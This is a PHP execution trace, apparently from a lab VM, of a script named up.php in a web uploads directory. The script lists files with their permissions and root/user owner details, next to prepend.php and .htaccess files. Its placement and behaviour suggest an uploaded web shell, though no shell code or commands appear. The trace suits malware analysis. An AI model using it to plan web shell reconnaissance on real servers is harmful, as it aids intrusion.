3 A /var/www/html/uploads/up.php 852 $stat = [0 => 2049, 1 => 524470, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676252825, 9 => 1676252825, 10 => 1676252825, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524470, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676252825, 'mtime' => 1676252825, 'ctime' => 1676252825, 'blksize' => 4096, 'blocks' => 8]
4 56 0 0.003991 792352 is_file 0 /var/www/html/uploads/up.php 857 1 '/var/www/html/uploads/..'
4 56 1 0.004005 792400
4 56 R FALSE
4 57 0 0.004019 792360 is_dir 0 /var/www/html/uploads/up.php 858 1 '/var/www/html/uploads/..'
4 57 1 0.004031 792400
4 57 R TRUE
4 58 0 0.004044 792360 is_link 0 /var/www/html/uploads/up.php 859 1 '/var/www/html/uploads/..'
4 58 1 0.004056 792400
4 58 R FALSE
4 59 0 0.004069 792360 is_readable 0 /var/www/html/uploads/up.php 860 1 '/var/www/html/uploads/..'
4 59 1 0.004084 792400
4 59 R TRUE
4 60 0 0.004096 792360 is_writable 0 /var/www/html/uploads/up.php 861 1 '/var/www/html/uploads/..'
4 60 1 0.004111 792400
4 60 R TRUE
4 61 0 0.004124 792360 filemtime 0 /var/www/html/uploads/up.php 866 1 '/var/www/html/uploads/..'
4 61 1 0.004136 792400
4 61 R 1676252825
4 62 0 0.004149 792360 fileatime 0 /var/www/html/uploads/up.php 867 1 '/var/www/html/uploads/..'
4 62 1 0.004161 792400
4 62 R 1676252825
4 63 0 0.004174 792360 filectime 0 /var/www/html/uploads/up.php 868 1 '/var/www/html/uploads/..'
4 63 1 0.004185 792400
4 63 R 1676252825
3 A /var/www/html/uploads/up.php 868 $file = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825]
4 64 0 0.004228 792416 file_exists 0 /var/www/html/uploads/up.php 872 1 '/var/www/html/uploads/../.'
4 64 1 0.004243 792456
4 64 R TRUE
3 A /var/www/html/uploads/up.php 872 $file['is_executable'] = TRUE
4 65 0 0.004269 792360 function_exists 0 /var/www/html/uploads/up.php 883 1 'posix_getpwuid'
4 65 1 0.004283 792400
4 65 R TRUE
4 66 0 0.004296 792360 posix_getpwuid 0 /var/www/html/uploads/up.php 883 1 0
4 66 1 0.004325 793160
4 66 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 67 0 0.004349 793128 reset 0 /var/www/html/uploads/up.php 883 1 ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 67 1 0.004369 793536
4 67 R 'root'
3 A /var/www/html/uploads/up.php 883 $file['owner_name'] = 'root'
4 68 0 0.004395 792392 function_exists 0 /var/www/html/uploads/up.php 884 1 'posix_getgrgid'
4 68 1 0.004408 792432
4 68 R TRUE
4 69 0 0.004421 792392 posix_getgrgid 0 /var/www/html/uploads/up.php 884 1 0
4 69 1 0.004445 793048
4 69 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 70 0 0.004465 793016 reset 0 /var/www/html/uploads/up.php 884 1 ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 70 1 0.004482 793424
4 70 R 'root'
3 A /var/www/html/uploads/up.php 884 $file['group_name'] = 'root'
3 A /var/www/html/uploads/up.php 886 $files[] = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 71 0 0.004536 793440 readdir 0 /var/www/html/uploads/up.php 848 1 resource(4) of type (stream)
4 71 1 0.004550 793512
4 71 R 'up.php'
3 A /var/www/html/uploads/up.php 848 $filename = 'up.php'
3 A /var/www/html/uploads/up.php 850 $path = '/var/www/html/uploads/up.php'
4 72 0 0.004586 793528 lstat 0 /var/www/html/uploads/up.php 852 1 '/var/www/html/uploads/up.php'
4 72 1 0.004601 795320
4 72 R [0 => 2049, 1 => 524475, 2 => 33204, 3 => 1, 4 => 1000, 5 => 1000, 6 => 0, 7 => 80504, 8 => 1676252825, 9 => 1676252825, 10 => 1676252825, 11 => 4096, 12 => 160, 'dev' => 2049, 'ino' => 524475, 'mode' => 33204, 'nlink' => 1, 'uid' => 1000, 'gid' => 1000, 'rdev' => 0, 'size' => 80504, 'atime' => 1676252825, 'mtime' => 1676252825, 'ctime' => 1676252825, 'blksize' => 4096, 'blocks' => 160]
3 A /var/www/html/uploads/up.php 852 $stat = [0 => 2049, 1 => 524475, 2 => 33204, 3 => 1, 4 => 1000, 5 => 1000, 6 => 0, 7 => 80504, 8 => 1676252825, 9 => 1676252825, 10 => 1676252825, 11 => 4096, 12 => 160, 'dev' => 2049, 'ino' => 524475, 'mode' => 33204, 'nlink' => 1, 'uid' => 1000, 'gid' => 1000, 'rdev' => 0, 'size' => 80504, 'atime' => 1676252825, 'mtime' => 1676252825, 'ctime' => 1676252825, 'blksize' => 4096, 'blocks' => 160]
4 73 0 0.004664 794224 is_file 0 /var/www/html/uploads/up.php 857 1 '/var/www/html/uploads/up.php'
4 73 1 0.004678 794264
4 73 R TRUE
4 74 0 0.004691 794224 is_dir 0 /var/www/html/uploads/up.php 858 1 '/var/www/html/uploads/up.php'
4 74 1 0.004703 794264
4 74 R FALSE
4 75 0 0.004716 794224 is_link 0 /var/www/html/uploads/up.php 859 1 '/var/www/html/uploads/up.php'
4 75 1 0.004728 794264
4 75 R FALSE
4 76 0 0.004741 794224 is_readable 0 /var/www/html/uploads/up.php 860 1 '/var/www/html/uploads/up.php'
4 76 1 0.004754 794264
4 76 R TRUE
4 77 0 0.004768 794224 is_writable 0 /var/www/html/uploads/up.php 861 1 '/var/www/html/uploads/up.php'
4 77 1 0.004782 794264
4 77 R FALSE
4 78 0 0.004795 794224 filemtime 0 /var/www/html/uploads/up.php 866 1 '/var/www/html/uploads/up.php'
4 78 1 0.004807 794264
4 78 R 1676252825
4 79 0 0.004819 794224 fileatime 0 /var/www/html/uploads/up.php 867 1 '/var/www/html/uploads/up.php'
4 79 1 0.004831 794264
4 79 R 1676252825
4 80 0 0.004863 794224 filectime 0 /var/www/html/uploads/up.php 868 1 '/var/www/html/uploads/up.php'
4 80 1 0.004876 794264
4 80 R 1676252825
3 A /var/www/html/uploads/up.php 868 $file = ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825]
4 81 0 0.004916 794224 is_executable 0 /var/www/html/uploads/up.php 875 1 '/var/www/html/uploads/up.php'
4 81 1 0.004931 794264
4 81 R FALSE
3 A /var/www/html/uploads/up.php 875 $file['is_executable'] = FALSE
4 82 0 0.004957 794224 function_exists 0 /var/www/html/uploads/up.php 883 1 'posix_getpwuid'
4 82 1 0.004971 794264
4 82 R TRUE
4 83 0 0.004988 794224 posix_getpwuid 0 /var/www/html/uploads/up.php 883 1 1000
4 83 1 0.005020 795040
4 83 R ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
4 84 0 0.005045 795008 reset 0 /var/www/html/uploads/up.php 883 1 ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
4 84 1 0.005065 795416
4 84 R 'osboxes'
3 A /var/www/html/uploads/up.php 883 $file['owner_name'] = 'osboxes'
4 85 0 0.005091 794256 function_exists 0 /var/www/html/uploads/up.php 884 1 'posix_getgrgid'
4 85 1 0.005105 794296
4 85 R TRUE
4 86 0 0.005118 794256 posix_getgrgid 0 /var/www/html/uploads/up.php 884 1 1000
4 86 1 0.005149 794912
4 86 R ['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
4 87 0 0.005169 794880 reset 0 /var/www/html/uploads/up.php 884 1 ['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
4 87 1 0.005186 795288
4 87 R 'osboxes'
3 A /var/www/html/uploads/up.php 884 $file['group_name'] = 'osboxes'
3 A /var/www/html/uploads/up.php 886 $files[] = ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4 88 0 0.005240 794928 readdir 0 /var/www/html/uploads/up.php 848 1 resource(4) of type (stream)
4 88 1 0.005254 795000
4 88 R '.'
3 A /var/www/html/uploads/up.php 848 $filename = '.'
3 A /var/www/html/uploads/up.php 850 $path = '/var/www/html/uploads/.'
4 89 0 0.005288 795008 lstat 0 /var/www/html/uploads/up.php 852 1 '/var/www/html/uploads/.'
4 89 1 0.005304 796792
4 89 R [0 => 2049, 1 => 524471, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676252825, 9 => 1676252825, 10 => 1676252825, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524471, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676252825, 'mtime' => 1676252825, 'ctime' => 1676252825, 'blksize' => 4096, 'blocks' => 8]
3 A /var/www/html/uploads/up.php 852 $stat = [0 => 2049, 1 => 524471, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676252825, 9 => 1676252825, 10 => 1676252825, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524471, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676252825, 'mtime' => 1676252825, 'ctime' => 1676252825, 'blksize' => 4096, 'blocks' => 8]
4 90 0 0.005364 795696 is_file 0 /var/www/html/uploads/up.php 857 1 '/var/www/html/uploads/.'
4 90 1 0.005379 795728
4 90 R FALSE
4 91 0 0.005392 795688 is_dir 0 /var/www/html/uploads/up.php 858 1 '/var/www/html/uploads/.'
4 91 1 0.005404 795728
4 91 R TRUE
4 92 0 0.005416 795688 is_link 0 /var/www/html/uploads/up.php 859 1 '/var/www/html/uploads/.'
4 92 1 0.005428 795728
4 92 R FALSE
4 93 0 0.005441 795688 is_readable 0 /var/www/html/uploads/up.php 860 1 '/var/www/html/uploads/.'
4 93 1 0.005455 795728
4 93 R TRUE
4 94 0 0.005468 795688 is_writable 0 /var/www/html/uploads/up.php 861 1 '/var/www/html/uploads/.'
4 94 1 0.005481 795728
4 94 R TRUE
4 95 0 0.005494 795688 filemtime 0 /var/www/html/uploads/up.php 866 1 '/var/www/html/uploads/.'
4 95 1 0.005505 795728
4 95 R 1676252825
4 96 0 0.005519 795688 fileatime 0 /var/www/html/uploads/up.php 867 1 '/var/www/html/uploads/.'
4 96 1 0.005530 795728
4 96 R 1676252825
4 97 0 0.005543 795688 filectime 0 /var/www/html/uploads/up.php 868 1 '/var/www/html/uploads/.'
4 97 1 0.005555 795728
4 97 R 1676252825
3 A /var/www/html/uploads/up.php 868 $file = ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825]
4 98 0 0.005594 795744 file_exists 0 /var/www/html/uploads/up.php 872 1 '/var/www/html/uploads/./.'
4 98 1 0.005608 795784
4 98 R TRUE
3 A /var/www/html/uploads/up.php 872 $file['is_executable'] = TRUE
4 99 0 0.005634 795688 function_exists 0 /var/www/html/uploads/up.php 883 1 'posix_getpwuid'
4 99 1 0.005647 795728
4 99 R TRUE
4 100 0 0.005660 795688 posix_getpwuid 0 /var/www/html/uploads/up.php 883 1 0
4 100 1 0.005682 796488
4 100 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 101 0 0.005706 796456 reset 0 /var/www/html/uploads/up.php 883 1 ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 101 1 0.005725 796864
4 101 R 'root'
3 A /var/www/html/uploads/up.php 883 $file['owner_name'] = 'root'
4 102 0 0.005754 795720 function_exists 0 /var/www/html/uploads/up.php 884 1 'posix_getgrgid'
4 102 1 0.005768 795760
4 102 R TRUE
4 103 0 0.005781 795720 posix_getgrgid 0 /var/www/html/uploads/up.php 884 1 0
4 103 1 0.005803 796376
4 103 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 104 0 0.005824 796344 reset 0 /var/www/html/uploads/up.php 884 1 ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 104 1 0.005840 796752
4 104 R 'root'
3 A /var/www/html/uploads/up.php 884 $file['group_name'] = 'root'
3 A /var/www/html/uploads/up.php 886 $files[] = ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 105 0 0.005894 796392 readdir 0 /var/www/html/uploads/up.php 848 1 resource(4) of type (stream)
4 105 1 0.005908 796472
4 105 R 'prepend.php'
3 A /var/www/html/uploads/up.php 848 $filename = 'prepend.php'
3 A /var/www/html/uploads/up.php 850 $path = '/var/www/html/uploads/prepend.php'
4 106 0 0.005944 796496 lstat 0 /var/www/html/uploads/up.php 852 1 '/var/www/html/uploads/prepend.php'
4 106 1 0.005961 798304
4 106 R [0 => 2049, 1 => 524474, 2 => 33261, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 57, 8 => 1676252825, 9 => 1676252825, 10 => 1676252825, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524474, 'mode' => 33261, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 57, 'atime' => 1676252825, 'mtime' => 1676252825, 'ctime' => 1676252825, 'blksize' => 4096, 'blocks' => 8]
3 A /var/www/html/uploads/up.php 852 $stat = [0 => 2049, 1 => 524474, 2 => 33261, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 57, 8 => 1676252825, 9 => 1676252825, 10 => 1676252825, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524474, 'mode' => 33261, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 57, 'atime' => 1676252825, 'mtime' => 1676252825, 'ctime' => 1676252825, 'blksize' => 4096, 'blocks' => 8]
4 107 0 0.006023 797208 is_file 0 /var/www/html/uploads/up.php 857 1 '/var/www/html/uploads/prepend.php'
4 107 1 0.006038 797264
4 107 R TRUE
4 108 0 0.006051 797224 is_dir 0 /var/www/html/uploads/up.php 858 1 '/var/www/html/uploads/prepend.php'
4 108 1 0.006063 797264
4 108 R FALSE
4 109 0 0.006076 797224 is_link 0 /var/www/html/uploads/up.php 859 1 '/var/www/html/uploads/prepend.php'
4 109 1 0.006089 797264
4 109 R FALSE
4 110 0 0.006101 797224 is_readable 0 /var/www/html/uploads/up.php 860 1 '/var/www/html/uploads/prepend.php'
4 110 1 0.006117 797264
4 110 R TRUE
4 111 0 0.006130 797224 is_writable 0 /var/www/html/uploads/up.php 861 1 '/var/www/html/uploads/prepend.php'
4 111 1 0.006146 797264
4 111 R FALSE
4 112 0 0.006159 797224 filemtime 0 /var/www/html/uploads/up.php 866 1 '/var/www/html/uploads/prepend.php'
4 112 1 0.006173 797264
4 112 R 1676252825
4 113 0 0.006186 797224 fileatime 0 /var/www/html/uploads/up.php 867 1 '/var/www/html/uploads/prepend.php'
4 113 1 0.006199 797264
4 113 R 1676252825
4 114 0 0.006212 797224 filectime 0 /var/www/html/uploads/up.php 868 1 '/var/www/html/uploads/prepend.php'
4 114 1 0.006225 797264
4 114 R 1676252825
3 A /var/www/html/uploads/up.php 868 $file = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825]
4 115 0 0.006264 797224 is_executable 0 /var/www/html/uploads/up.php 875 1 '/var/www/html/uploads/prepend.php'
4 115 1 0.006279 797264
4 115 R TRUE
3 A /var/www/html/uploads/up.php 875 $file['is_executable'] = TRUE
4 116 0 0.006305 797224 function_exists 0 /var/www/html/uploads/up.php 883 1 'posix_getpwuid'
4 116 1 0.006318 797264
4 116 R TRUE
4 117 0 0.006331 797224 posix_getpwuid 0 /var/www/html/uploads/up.php 883 1 0
4 117 1 0.006353 798024
4 117 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 118 0 0.006377 797992 reset 0 /var/www/html/uploads/up.php 883 1 ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 118 1 0.006396 798400
4 118 R 'root'
3 A /var/www/html/uploads/up.php 883 $file['owner_name'] = 'root'
4 119 0 0.006422 797256 function_exists 0 /var/www/html/uploads/up.php 884 1 'posix_getgrgid'
4 119 1 0.006435 797296
4 119 R TRUE
4 120 0 0.006448 797256 posix_getgrgid 0 /var/www/html/uploads/up.php 884 1 0
4 120 1 0.006470 797912
4 120 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 121 0 0.006491 797880 reset 0 /var/www/html/uploads/up.php 884 1 ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 121 1 0.006512 798288
4 121 R 'root'
3 A /var/www/html/uploads/up.php 884 $file['group_name'] = 'root'
3 A /var/www/html/uploads/up.php 886 $files[] = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 122 0 0.006565 797928 readdir 0 /var/www/html/uploads/up.php 848 1 resource(4) of type (stream)
4 122 1 0.006579 798000
4 122 R 'data'
3 A /var/www/html/uploads/up.php 848 $filename = 'data'
3 A /var/www/html/uploads/up.php 850 $path = '/var/www/html/uploads/data'
4 123 0 0.006614 798016 lstat 0 /var/www/html/uploads/up.php 852 1 '/var/www/html/uploads/data'
4 123 1 0.006630 799800
4 123 R [0 => 2049, 1 => 524472, 2 => 16895, 3 => 2, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676252825, 9 => 1676252825, 10 => 1676252825, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524472, 'mode' => 16895, 'nlink' => 2, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676252825, 'mtime' => 1676252825, 'ctime' => 1676252825, 'blksize' => 4096, 'blocks' => 8]
3 A /var/www/html/uploads/up.php 852 $stat = [0 => 2049, 1 => 524472, 2 => 16895, 3 => 2, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676252825, 9 => 1676252825, 10 => 1676252825, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524472, 'mode' => 16895, 'nlink' => 2, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676252825, 'mtime' => 1676252825, 'ctime' => 1676252825, 'blksize' => 4096, 'blocks' => 8]
4 124 0 0.006691 798704 is_file 0 /var/www/html/uploads/up.php 857 1 '/var/www/html/uploads/data'
4 124 1 0.006705 798736
4 124 R FALSE
4 125 0 0.006718 798696 is_dir 0 /var/www/html/uploads/up.php 858 1 '/var/www/html/uploads/data'
4 125 1 0.006731 798736
4 125 R TRUE
4 126 0 0.006744 798696 is_link 0 /var/www/html/uploads/up.php 859 1 '/var/www/html/uploads/data'
4 126 1 0.006761 798736
4 126 R FALSE
4 127 0 0.006775 798696 is_readable 0 /var/www/html/uploads/up.php 860 1 '/var/www/html/uploads/data'
4 127 1 0.006790 798736
4 127 R TRUE
4 128 0 0.006803 798696 is_writable 0 /var/www/html/uploads/up.php 861 1 '/var/www/html/uploads/data'
4 128 1 0.006817 798736
4 128 R TRUE
4 129 0 0.006830 798696 filemtime 0 /var/www/html/uploads/up.php 866 1 '/var/www/html/uploads/data'
4 129 1 0.006842 798736
4 129 R 1676252825
4 130 0 0.006855 798696 fileatime 0 /var/www/html/uploads/up.php 867 1 '/var/www/html/uploads/data'
4 130 1 0.006867 798736
4 130 R 1676252825
4 131 0 0.006880 798696 filectime 0 /var/www/html/uploads/up.php 868 1 '/var/www/html/uploads/data'
4 131 1 0.006892 798736
4 131 R 1676252825
3 A /var/www/html/uploads/up.php 868 $file = ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825]
4 132 0 0.006931 798752 file_exists 0 /var/www/html/uploads/up.php 872 1 '/var/www/html/uploads/data/.'
4 132 1 0.006945 798792
4 132 R TRUE
3 A /var/www/html/uploads/up.php 872 $file['is_executable'] = TRUE
4 133 0 0.006971 798696 function_exists 0 /var/www/html/uploads/up.php 883 1 'posix_getpwuid'
4 133 1 0.006985 798736
4 133 R TRUE
4 134 0 0.006997 798696 posix_getpwuid 0 /var/www/html/uploads/up.php 883 1 0
4 134 1 0.007020 799496
4 134 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 135 0 0.007044 799464 reset 0 /var/www/html/uploads/up.php 883 1 ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 135 1 0.007063 799872
4 135 R 'root'
3 A /var/www/html/uploads/up.php 883 $file['owner_name'] = 'root'
4 136 0 0.007089 798728 function_exists 0 /var/www/html/uploads/up.php 884 1 'posix_getgrgid'
4 136 1 0.007102 798768
4 136 R TRUE
4 137 0 0.007115 798728 posix_getgrgid 0 /var/www/html/uploads/up.php 884 1 0
4 137 1 0.007137 799384
4 137 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 138 0 0.007157 799352 reset 0 /var/www/html/uploads/up.php 884 1 ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 138 1 0.007174 799760
4 138 R 'root'
3 A /var/www/html/uploads/up.php 884 $file['group_name'] = 'root'
3 A /var/www/html/uploads/up.php 886 $files[] = ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 139 0 0.007231 799400 readdir 0 /var/www/html/uploads/up.php 848 1 resource(4) of type (stream)
4 139 1 0.007245 799480
4 139 R '.htaccess'
3 A /var/www/html/uploads/up.php 848 $filename = '.htaccess'
3 A /var/www/html/uploads/up.php 850 $path = '/var/www/html/uploads/.htaccess'
4 140 0 0.007282 799496 lstat 0 /var/www/html/uploads/up.php 852 1 '/var/www/html/uploads/.htaccess'
4 140 1 0.007299 801288
4 140 R [0 => 2049, 1 => 524473, 2 => 33188, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 64, 8 => 1676252825, 9 => 1676252825, 10 => 1676252825, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524473, 'mode' => 33188, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 64, 'atime' => 1676252825, 'mtime' => 1676252825, 'ctime' => 1676252825, 'blksize' => 4096, 'blocks' => 8]
3 A /var/www/html/uploads/up.php 852 $stat = [0 => 2049, 1 => 524473, 2 => 33188, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 64, 8 => 1676252825, 9 => 1676252825, 10 => 1676252825, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524473, 'mode' => 33188, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 64, 'atime' => 1676252825, 'mtime' => 1676252825, 'ctime' => 1676252825, 'blksize' => 4096, 'blocks' => 8]
4 141 0 0.007360 800192 is_file 0 /var/www/html/uploads/up.php 857 1 '/var/www/html/uploads/.htaccess'
4 141 1 0.007375 800232
4 141 R TRUE
4 142 0 0.007389 800192 is_dir 0 /var/www/html/uploads/up.php 858 1 '/var/www/html/uploads/.htaccess'
4 142 1 0.007402 800232
4 142 R FALSE
4 143 0 0.007415 800192 is_link 0 /var/www/html/uploads/up.php 859 1 '/var/www/html/uploads/.htaccess'
4 143 1 0.007428 800232
4 143 R FALSE
4 144 0 0.007441 800192 is_readable 0 /var/www/html/uploads/up.php 860 1 '/var/www/html/uploads/.htaccess'
4 144 1 0.007456 800232
4 144 R TRUE
4 145 0 0.007469 800192 is_writable 0 /var/www/html/uploads/up.php 861 1 '/var/www/html/uploads/.htaccess'
4 145 1 0.007484 800232
4 145 R FALSE
4 146 0 0.007498 800192 filemtime 0 /var/www/html/uploads/up.php 866 1 '/var/www/html/uploads/.htaccess'
4 146 1 0.007511 800232
4 146 R 1676252825
4 147 0 0.007524 800192 fileatime 0 /var/www/html/uploads/up.php 867 1 '/var/www/html/uploads/.htaccess'
4 147 1 0.007536 800232
4 147 R 1676252825
4 148 0 0.007549 800192 filectime 0 /var/www/html/uploads/up.php 868 1 '/var/www/html/uploads/.htaccess'
4 148 1 0.007561 800232
4 148 R 1676252825
3 A /var/www/html/uploads/up.php 868 $file = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825]
4 149 0 0.007600 800192 is_executable 0 /var/www/html/uploads/up.php 875 1 '/var/www/html/uploads/.htaccess'
4 149 1 0.007615 800232
4 149 R FALSE
3 A /var/www/html/uploads/up.php 875 $file['is_executable'] = FALSE
4 150 0 0.007641 800192 function_exists 0 /var/www/html/uploads/up.php 883 1 'posix_getpwuid'
4 150 1 0.007654 800232
4 150 R TRUE
4 151 0 0.007668 800192 posix_getpwuid 0 /var/www/html/uploads/up.php 883 1 0
4 151 1 0.007690 800992
4 151 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 152 0 0.007713 800960 reset 0 /var/www/html/uploads/up.php 883 1 ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 152 1 0.007733 801368
4 152 R 'root'
3 A /var/www/html/uploads/up.php 883 $file['owner_name'] = 'root'
4 153 0 0.007758 800224 function_exists 0 /var/www/html/uploads/up.php 884 1 'posix_getgrgid'
4 153 1 0.007772 800264
4 153 R TRUE
4 154 0 0.007785 800224 posix_getgrgid 0 /var/www/html/uploads/up.php 884 1 0
4 154 1 0.007806 800880
4 154 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 155 0 0.007825 800848 reset 0 /var/www/html/uploads/up.php 884 1 ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 155 1 0.007842 801256
4 155 R 'root'
